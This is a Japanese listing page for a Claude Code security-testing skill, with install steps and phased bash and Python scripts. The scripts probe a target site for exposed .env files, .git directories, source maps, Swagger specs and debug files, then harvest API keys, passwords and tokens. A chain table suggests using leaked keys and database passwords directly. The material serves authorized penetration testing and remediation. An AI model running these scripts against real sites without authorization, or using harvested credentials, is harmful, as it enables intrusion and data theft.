hunt-source-leak について
セキュリティテスト担当者向けのソースコード・ビルド成果物漏えい調査スキルです。ソースマップ、API 仕様、環境ファイル、公開 Git データ、デバッグ情報を調べ、開示内容と影響を検証します。
主な機能
- 01ソースマップと JavaScript 成果物の検査
- 02Swagger と OpenAPI の発見
- 03環境ファイルと Git 公開の確認
- 04ビルド情報とデバッグ情報の調査
- 05最新ビルドハッシュを使ったソースマップ探索
- 06ソース、ルート、認証情報漏えいの検証
活用シーン
- 01本番サイトでのソースマップ公開を確認
- 02アプリ画面にない API ルートを発見
- 03公開リポジトリの履歴にある認証情報を調査
- 04ビルド情報からバージョンの手掛かりを検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-source-leakインストール後、Claude Code で/hunt-source-leakを入力して読み込まれたか確認します。
詳細
HUNT-SOURCE-LEAK — ソースコードとビルド成果物の漏えい
最重要ターゲット
TypeScript ソースを公開するソースマップがあれば、すべての API ルート、認証ロジック、シークレットを確認できます。Swagger/OpenAPI JSON があれば、API の全体像を把握できます。
最も価値の高い発見:
.js.mapソースマップ — TypeScript/ES6 ソースコード全体を再構築し、ハードコードされた API キー、内部エンドポイント、認証ロジックのバイパスを発見できますswagger.json/openapi.json— すべてのエンドポイント、パラメーター、認証方式、内部ルート名を含む、REST API の完全な仕様.env/.env.production— APP_KEY、DB_PASSWORD、API_KEY、SECRET_KEY が平文で記載されています.git/の公開 —git cloneでソース履歴全体を取得し、過去にハードコードされたすべてのシークレットを確認できますasset-manifest.json/_next/static/— すべての JS バンドルのパスが記載されており、ソースマップを体系的に発見できますbuild-info/info.json— git のコミットハッシュ、ビルド日時、依存関係のバージョンが記載されており、CVE を狙った攻撃に利用できます
フェーズ 1 — すぐに見つかるもの(最初に実行)
# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
"/.env" \
"/.env.production" \
"/.env.local" \
"/.git/HEAD" \
"/swagger.json" \
"/api/swagger.json" \
"/v1/swagger.json" \
"/openapi.json" \
"/api/openapi.json" \
"/api-docs"; do
STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] HIT: https://$TARGET$PATH"
head -5 /tmp/sl_test
echo "---"
fi
done
フェーズ 2 — ソースマップの発見
テストの前に、必ず現在のビルドハッシュを解決してください。再検証の前にも、もう一度解決してください。 バンドルのファイル名にはコンテンツハッシュが使われているため、デプロイのたびに変わります。昨日記録した
.mapの URL は、マップが新しい名前で引き続き完全に公開されていても、今日は 404 になることがあります。以前の URL での 404 は修正を意味しません — 新しいビルドが行われただけです。# 記録済みの URL は再利用せず、必ずその場でハッシュを取得する HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1) curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \ "https://$TARGET/static/js/${HASH}.map"認可されたエンゲージメントからの教訓。 大容量の本番用マップが
main.<hashA>.js.mapで見つかりました。再検証時、その URL は小さな HTML の ソフト 404 を返したため、発見事項は修正済みとしてクローズされかけました。 バンドルはmain.<hashB>.jsに切り替わっていました — そしてマップはmain.<hashB>.js.mapとして同じサイズで引き続き公開されていました。 何も修正されていませんでした。これをレポートでクライアントに明確に伝えてください。再デプロイしても、ソースマップの 公開は解消されません。 解消するには
GENERATE_SOURCEMAP=falseを設定するか、 デプロイ時に.mapを削除したうえで、CDN をパージする必要があります。 再デプロイして以前のリンクだけを再確認するチームは、誤って解決済みと判断してしまいます。同じルールは、チャンクファイル、CSS マップ、
asset-manifest.json、ステージング環境の同等ファイルなど、コンテンツハッシュを使うすべての成果物に当てはまります。
# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
if content:
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as f:
f.write(content)
print(f'[+] Extracted: {src}')
"
# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
フェーズ 3 — Swagger / OpenAPI の発見
# Common paths
SWAGGER_PATHS=(
"/swagger.json" "/swagger.yaml" "/swagger/"
"/api/swagger.json" "/api/swagger.yaml"
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
"/openapi.json" "/openapi.yaml"
"/api/openapi.json" "/api-docs" "/api-docs.json"
"/api/v1/swagger.json" "/api/v2/swagger.json"
"/rest/swagger.json" "/rest/api-docs"
"/.well-known/openapi.json"
"/graphql/schema.json"
)
for PATH in "${SWAGGER_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH"
# Extract all API paths from swagger
python3 -c "
import sys, json
try:
d = json.load(open('/tmp/swagger_test'))
paths = list(d.get('paths', {}).keys())
print(f'Endpoints: {len(paths)}')
print('\n'.join(sorted(paths)))
except: pass
" | head -50
fi
done
フェーズ 4 — .git の公開
# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
# Grep for secrets in all git history
cd /tmp/dumped-repo && \
git log --all --oneline 2>/dev/null | head -20
git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
フェーズ 5 — 放置されたファイルとデバッグ用エンドポイント
# Build artifacts and debug files
DEBUG_PATHS=(
"/build-info.json" "/build/build-info.json"
"/info" "/actuator/info" "/api/info"
"/version" "/api/version" "/_version"
"/health" "/status" "/ping"
"/robots.txt" "/security.txt" "/.well-known/security.txt"
"/sitemap.xml" "/manifest.json" "/browserconfig.xml"
"/crossdomain.xml" "/clientaccesspolicy.xml"
"/phpinfo.php" "/info.php" "/test.php"
"/server-status" "/server-info" "/.htaccess"
"/web.config" "/applicationHost.config"
"/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
"/package.json" "/composer.json" "/Gemfile"
"/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)
for PATH in "${DEBUG_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
head -3 /tmp/debug_test
echo "---"
fi
done
フェーズ 6 — .DS_Store によるファイル一覧の取得
# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10
# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
for entry in d:
print(entry.filename)
"
# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"
フェーズ 7 — webpack チャンクの分析
# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
echo "Analyzing: $chunk"
curl -s "https://$TARGET$chunk" | \
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done
# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64"
done
チェーンテーブル
| ソース漏えいの発見事項 | チェーン先 | 影響 |
|---|---|---|
| API キーを含むソースマップ | キーを直接使用 → API にアクセス | 高/重大 |
| 認証ロジックを含むソースマップ | 認証バイパスのルートを発見 | 重大 |
| Swagger → 内部エンドポイント | ドキュメントにない管理者ルートをテスト | 高 |
| .git の公開 | ソース履歴全体 → 過去のすべてのシークレット | 重大 |
| git ハッシュを含む build-info | 正確なバージョンを狙った CVE 攻撃 | 高 |
| DB_PASSWORD を含む .env | データベースへの直接アクセス | 重大 |
ツール
# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/
# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js
# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap
# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/
検証
✅ ソースマップ:再構築した TypeScript ソースに API エンドポイントまたはハードコードされたシークレットが含まれている ✅ Swagger:JSON に UI からは確認できない内部エンドポイントが含まれている ✅ .git の公開:git-dumper でリポジトリを正常にクローンでき、履歴にシークレットが含まれている ✅ .env の公開:DATABASE_URL、API_KEY、SECRET_KEY が平文で確認できる
重大度:
- 認証情報を含む .env:重大
- 履歴にシークレットを含む .git:重大
- シークレットを含むソースマップ:高
- 内部ルートを含む Swagger:中〜高
- robots.txt のみ:情報提供